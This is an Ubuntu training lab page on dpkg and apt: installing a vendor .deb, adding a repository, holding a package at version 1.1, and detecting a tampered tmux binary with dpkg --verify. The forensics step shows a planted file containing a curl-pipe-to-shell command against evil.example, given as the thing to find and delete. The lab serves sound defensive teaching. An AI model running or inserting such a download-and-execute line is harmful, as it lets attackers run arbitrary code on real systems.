dpkg, Packages and Repositories Intermediate 35 min
Lab overview

dpkg, Packages and Repositories

35 min 4 checked steps Intermediate
The situation

The vendor of the shop's deployment agent emailed a .deb file, and also runs its own apt repository with newer versions. Version 1.2 has a known bug, so production must stay on 1.1 even when everything else is upgraded. And a security scan says a system binary was modified. You'll handle all of it with dpkg and apt.

By the end of this lab you will be able to
  • Inspect a .deb with dpkg-deb, install it with dpkg -i and fix dependencies
  • Add a repository in /etc/apt/sources.list.d and read apt-cache policy
  • Install an exact version and pin it with apt-mark hold
  • Check installed files against the package database with dpkg --verify

Under apt: packages, dpkg and repositories

A .deb file is an archive with two parts:

text
shop-agent_1.0_all.deb
 ├── control   name, version, dependencies, description, scripts
 └── data      the files to install: /usr/bin/shop-agent, /etc/shop-agent/agent.conf

dpkg installs a single .deb and records every file in its database (/var/lib/dpkg), but it doesn't download anything and doesn't resolve dependencies. apt sits on top: it reads repositories listed in /etc/apt/sources.list.d/, downloads packages and their dependencies, and hands them to dpkg.

In this lab: a .deb in /opt/debs, the vendor's repository in /opt/shop-repo, and Ubuntu's (offline) repository already configured.

The steps
1
Install a .deb fileInstall the vendor's shop-agent 1.0 package so it works, including its dependency.
2
Add a repositoryAdd the vendor's repository so apt can see newer shop-agent versions.
3
Exact version, heldUpgrade to shop-agent 1.1, and stop apt from moving it to the buggy 1.2.
4
Catch a tampered fileFind the package whose files were modified, restore it, and remove the planted file.
How this lab works
  1. Press Start lab. You get your own Ubuntu machine on the right, just for you.
  2. Read each step. Commands with a ▶ Run button can be sent to the terminal in one click, but typing them yourself helps you remember.
  3. Do the Your task part, then press Check my work. The check looks at the machine and tells you what is right or still missing.
  4. Stuck? Open the hint. Nothing you do here can break anything real.
Step 1 of 4

Install a .deb file

Objective

Install the vendor's shop-agent 1.0 package so it works, including its dependency.

Vendors often ship software as a single .deb file (Google Chrome, Zoom, many monitoring agents, your own company's builds). Before installing anything from outside the official repositories, look inside it: what does it install, and what does it need?

1. Inspect the package

bash
dpkg-deb -I /opt/debs/shop-agent_1.0_all.deb
dpkg-deb -c /opt/debs/shop-agent_1.0_all.deb
OptionShows
-I (info)the control information
-c (contents)every file it would install
text
 new Debian package, version 2.0.
 size 716 bytes: control archive=281 bytes.
      27 bytes,     1 lines      conffiles
     190 bytes,     7 lines      control
 Package: shop-agent
 Version: 1.0
 Architecture: all
 Maintainer: Shop Ops <[email protected]>
 Depends: figlet
 Description: Shop deployment agent
  Prints the shop's deployment banner and status.
drwxr-xr-x root/root         0 2026-11-24 16:29 ./
drwxr-xr-x root/root         0 2026-11-24 16:29 ./etc/
drwxr-xr-x root/root         0 2026-11-24 16:29 ./etc/shop-agent/
-rw-r--r-- root/root        23 2026-11-24 16:29 ./etc/shop-agent/agent.conf
drwxr-xr-x root/root         0 2026-11-24 16:29 ./usr/
drwxr-xr-x root/root         0 2026-11-24 16:29 ./usr/bin/
-rwxr-xr-x root/root        60 2026-11-24 16:29 ./usr/bin/shop-agent

Depends: figlet is the line to notice. conffiles lists config files dpkg should protect during upgrades and keep on remove.

2. Install with dpkg

bash
dpkg -i /opt/debs/shop-agent_1.0_all.deb
dpkg -l shop-agent | tail -1
text
Selecting previously unselected package shop-agent.
(Reading database ... 16911 files and directories currently installed.)
Preparing to unpack .../debs/shop-agent_1.0_all.deb ...
Unpacking shop-agent (1.0) ...
dpkg: dependency problems prevent configuration of shop-agent:
 shop-agent depends on figlet; however:
  Package figlet is not installed.

dpkg: error processing package shop-agent (--install):
 dependency problems - leaving unconfigured
Errors were encountered while processing:
 shop-agent
iU  shop-agent     1.0          all          Shop deployment agent

dpkg unpacked the files but refused to configure the package, because figlet is missing and dpkg never downloads anything. State iU = wanted installed, but only Unpacked. apt will complain about this "broken" state until it's fixed.

3. Let apt fix it

bash
apt-get install -f -y
dpkg -l shop-agent figlet | tail -2
shop-agent ok

-f (--fix-broken) tells apt to install whatever is missing to complete half-installed packages.

text
Correcting dependencies... Done
The following additional packages will be installed:
  figlet
The following NEW packages will be installed:
  figlet
Unpacking figlet (2.2.5-3) ...
Setting up figlet (2.2.5-3) ...
Setting up shop-agent (1.0) ...
ii  figlet         2.2.5-3      amd64        Make large character ASCII banners out of ordinary text
ii  shop-agent     1.0          all          Shop deployment agent
    _                   _   
 __| |_  ___ _ __   ___| |__
(_-< ' \/ _ \ '_ \ / _ \ / /
/__/_||_\___/ .__/ \___/_\_\
            |_|             
shop-agent 1.0

(Shortened.) apt installed figlet, then finished configuring shop-agent. Both are ii now.

The one-step way: apt install ./shop-agent_1.0_all.deb (note the ./: it tells apt this is a file, not a package name). apt then resolves the dependencies itself. Use dpkg -i when you need its lower-level control.

Install /opt/debs/shop-agent_1.0_all.deb so that it's fully installed (state ii) and its dependency is installed too.

Expected result: dpkg -l shop-agent shows ii and version 1.0, and shop-agent ok prints a banner.

Hint: the commands, explained
text
dpkg -i /opt/debs/shop-agent_1.0_all.deb
apt-get install -f -y

or simply apt install -y /opt/debs/shop-agent_1.0_all.deb

What each part does

  • dpkg -i FILE.deb: install one package file. dpkg doesn't download anything, so it stops with a "dependency problems" error because figlet is missing.
  • apt-get install -f -y: fix broken installs: apt downloads the missing dependency (figlet) and finishes configuring shop-agent. -y answers yes automatically.
Step 2 of 4

Add a repository

Objective

Add the vendor's repository so apt can see newer shop-agent versions.

A repository is a directory (usually on a web server) with packages plus an index file listing them. apt knows about a repository from one line in a file in /etc/apt/sources.list.d/. Docker, Kubernetes, PostgreSQL, Grafana, HashiCorp and others all publish their own repositories, so installing their latest versions always starts with adding one.

1. Which repositories are configured?

bash
ls /etc/apt/sources.list.d/
cat /etc/apt/sources.list.d/*.list
text
devopsshack-offline.list
deb [trusted=yes] file:/opt/shack/apt-repo ./
PartMeaning
deba repository of binary packages (deb-src = source code)
[trusted=yes]options in brackets; this one skips signature checks (only acceptable for local test repos)
file:/opt/shack/apt-repowhere it is; normally https://...
./the distribution path; real repos say e.g. noble main (release and component)

2. Add the vendor's repository

bash
echo 'deb [trusted=yes] file:/opt/shop-repo ./' > /etc/apt/sources.list.d/shop.list
apt update
text
Get:2 file:/opt/shop-repo ./ InRelease
Get:4 file:/opt/shop-repo ./ Release
Get:7 file:/opt/shop-repo ./ Packages [364 B]
Reading package lists...
Building dependency tree...
Reading state information...
5 packages can be upgraded. Run 'apt list --upgradable' to see them.

(Shortened.) apt fetched the new repository's index. And it found updates waiting.

3. What versions are available now?

bash
apt-cache policy shop-agent
apt list --upgradable
text
shop-agent:
  Installed: 1.0
  Candidate: 1.2
  Version table:
     1.2 500
        500 file:/opt/shop-repo ./ Packages
     1.1 500
        500 file:/opt/shop-repo ./ Packages
 *** 1.0 100
        100 /var/lib/dpkg/status
Listing...
libncursesw6/unknown 6.4+20240113-1ubuntu2.2 amd64 [upgradable from: 6.4+20240113-1ubuntu2]
libtinfo6/unknown 6.4+20240113-1ubuntu2.2 amd64 [upgradable from: 6.4+20240113-1ubuntu2]
ncurses-base/unknown 6.4+20240113-1ubuntu2.2 all [upgradable from: 6.4+20240113-1ubuntu2]
ncurses-bin/unknown 6.4+20240113-1ubuntu2.2 amd64 [upgradable from: 6.4+20240113-1ubuntu2]
shop-agent/unknown 1.2 all [upgradable from: 1.0]
  • *** marks the installed version; /var/lib/dpkg/status means "it's installed, from wherever".
  • The Candidate is now 1.2, the newest version in any repository.
  • The numbers (500, 100) are priorities: apt prefers the higher one, and among equals, the newer version.
  • A plain apt upgrade would move shop-agent to 1.2, which has the bug. Next step: prevent that.

Real third-party repositories are signed. The vendor's instructions have you download their key to /etc/apt/keyrings/ and reference it with [signed-by=/etc/apt/keyrings/vendor.gpg] instead of trusted=yes. Never use trusted=yes for a repository on the internet: anyone who can tamper with the download could install anything on your server.

Add the repository at file:/opt/shop-repo ./ in a new file /etc/apt/sources.list.d/shop.list (with [trusted=yes]), and refresh the index.

Expected result: apt-cache policy shop-agent shows 1.1 and 1.2 available, with Candidate 1.2.

Hint: the commands, explained
text
echo 'deb [trusted=yes] file:/opt/shop-repo ./' > /etc/apt/sources.list.d/shop.list
apt update

What each part does

  • echo '...' > /etc/apt/sources.list.d/shop.list: create a file containing one repository line.
  • deb binary packages · [trusted=yes] skip signature checks (local test repo only) · file:/opt/shop-repo where it is · ./ its path.
  • apt update: download the index of every configured repository. You'll see a Get: line for file:/opt/shop-repo.
Step 3 of 4

Exact version, held

Objective

Upgrade to shop-agent 1.1, and stop apt from moving it to the buggy 1.2.

In production you often need a specific version: the one you tested, not whatever is newest. apt can install an exact version with PKG=VERSION, and hold a package so upgrades leave it alone until you decide otherwise.

1. Install an exact version

bash
apt install -y shop-agent=1.1

=1.1 = this exact version. (Going to an older version than the installed one also needs --allow-downgrades.)

text
The following packages will be upgraded:
  shop-agent
1 upgraded, 0 newly installed, 0 to remove and 4 not upgraded.
Get:1 file:/opt/shop-repo ./ shop-agent 1.1 [716 B]
Preparing to unpack ..././shop-agent_1.1_all.deb ...
Unpacking shop-agent (1.1) over (1.0) ...
Setting up shop-agent (1.1) ...

2. Hold it

bash
apt-mark hold shop-agent
apt-mark showhold
text
shop-agent set on hold.
shop-agent

3. Upgrade everything else

bash
apt upgrade -y
dpkg -l shop-agent | tail -1
text
Calculating upgrade...
The following packages have been kept back:
  shop-agent
The following packages will be upgraded:
  libncursesw6 libtinfo6 ncurses-base ncurses-bin
4 upgraded, 0 newly installed, 0 to remove and 1 not upgraded.
hi  shop-agent     1.1          all          Shop deployment agent

(Shortened.) The four library updates were installed; shop-agent was kept back. Its state is now hi: hold, installed. When the vendor fixes the bug: apt-mark unhold shop-agent and upgrade.

apt upgrade never removes packages. apt full-upgrade (formerly dist-upgrade) may remove or add packages when dependencies change, which is needed for some kernel and major updates. Read its plan before confirming. Ubuntu servers also run unattended-upgrades, which installs security updates automatically every day; holds apply to it too.

  1. Upgrade shop-agent to exactly version 1.1.
  2. Hold it so apt upgrade won't move it to 1.2.

Expected result: dpkg -l shop-agent shows hi and 1.1, and apt-mark showhold lists shop-agent.

Hint: the commands, explained
text
apt install -y shop-agent=1.1
apt-mark hold shop-agent

What each part does

  • apt install -y shop-agent=1.1: install this exact version, not the newest.
  • apt-mark hold shop-agent: freeze it. apt upgrade will now list it as "kept back" instead of upgrading it to 1.2.
Step 4 of 4

Catch a tampered file

Objective

Find the package whose files were modified, restore it, and remove the planted file.

dpkg stores a checksum of every file each package installed. dpkg --verify compares the files on disk with those checksums, which reveals files that were changed after installation: a careless edit, disk corruption, or an attacker replacing a binary with a backdoored one.

1. Verify everything

bash
dpkg --verify

No output means everything matches. Each line is a file that doesn't.

text
missing   c /etc/legal
missing   c /etc/update-motd.d/00-header
missing   c /etc/update-motd.d/10-help-text
missing   c /etc/update-motd.d/50-motd-news
??5??????   /usr/bin/tmux
??5??????   /usr/share/doc/tmux/example_tmux.conf
CodeMeaning
5 in the 3rd positionthe file's MD5 checksum differs: its contents were changed
?not checked
cit's a config file (conffile)
missingthe file was deleted

The missing c lines are config files the lab image removed on purpose: harmless. But /usr/bin/tmux was modified. A changed program in /usr/bin is a serious finding.

2. Look for planted files

Attackers often add files too. dpkg can tell you whether a file belongs to any package:

bash
ls -la /usr/share/tmux/
dpkg -S /usr/share/tmux/.hook
cat /usr/share/tmux/.hook
text
dpkg-query: no path found matching pattern /usr/share/tmux/.hook
curl -s http://evil.example/x.sh | sh

(After the ls output.) A hidden file no package owns, containing a download-and-run command. Remove it.

3. Restore the package

bash
apt install --reinstall -y tmux
dpkg --verify tmux && echo "tmux: clean"

--reinstall writes every file of the package again from the original .deb.

text
Unpacking tmux (3.4-1ubuntu0.2) over (3.4-1ubuntu0.2) ...
Setting up tmux (3.4-1ubuntu0.2) ...
tmux: clean

On a server that was really compromised, reinstalling one package isn't enough: the attacker may have changed things dpkg can't see. The safe response is to investigate, then rebuild the server from a clean image. dpkg --verify (and tools like debsums and AIDE) are how you notice.

  1. Restore tmux so its files match the package again.
  2. Delete the planted file /usr/share/tmux/.hook.

Expected result: dpkg --verify tmux prints nothing, and the .hook file is gone.

Hint: the commands, explained
text
apt install --reinstall -y tmux
rm /usr/share/tmux/.hook

What each part does

  • apt install --reinstall -y tmux: write every file of the tmux package again from the original .deb, undoing the modification.
  • rm /usr/share/tmux/.hook: delete the planted file. Reinstalling doesn't remove it, because it never belonged to the package.
  • Afterwards, dpkg --verify tmux prints nothing: every file matches its checksum.
Lab complete

Brilliant work!

You installed a vendor package and fixed its dependency, added a repository, pinned production to a tested version while upgrading everything else, and caught a tampered binary.

Takeaways:

  • dpkg-deb -I/-c file.deb inspects; dpkg -i installs one file without resolving dependencies; apt-get install -f fixes them. Or apt install ./file.deb.
  • Repositories are lines in /etc/apt/sources.list.d/*.list (or .sources). Real ones are signed: signed-by=/etc/apt/keyrings/....
  • apt-cache policy PKG shows installed, candidate, all versions and priorities.
  • apt install PKG=VERSION for exact versions; apt-mark hold/unhold/showhold to pin.
  • apt upgrade never removes; apt full-upgrade may. Read the plan.
  • dpkg --verify finds modified package files; dpkg -S finds files no package owns; apt install --reinstall restores.

You've finished Software & Packages. Next module: Services & Boot.

root@devopsshack offline

Your Linux machine is ready to launch

Starting gives you a private Ubuntu server for up to 45 minutes. It is deleted when you finish.

Feedback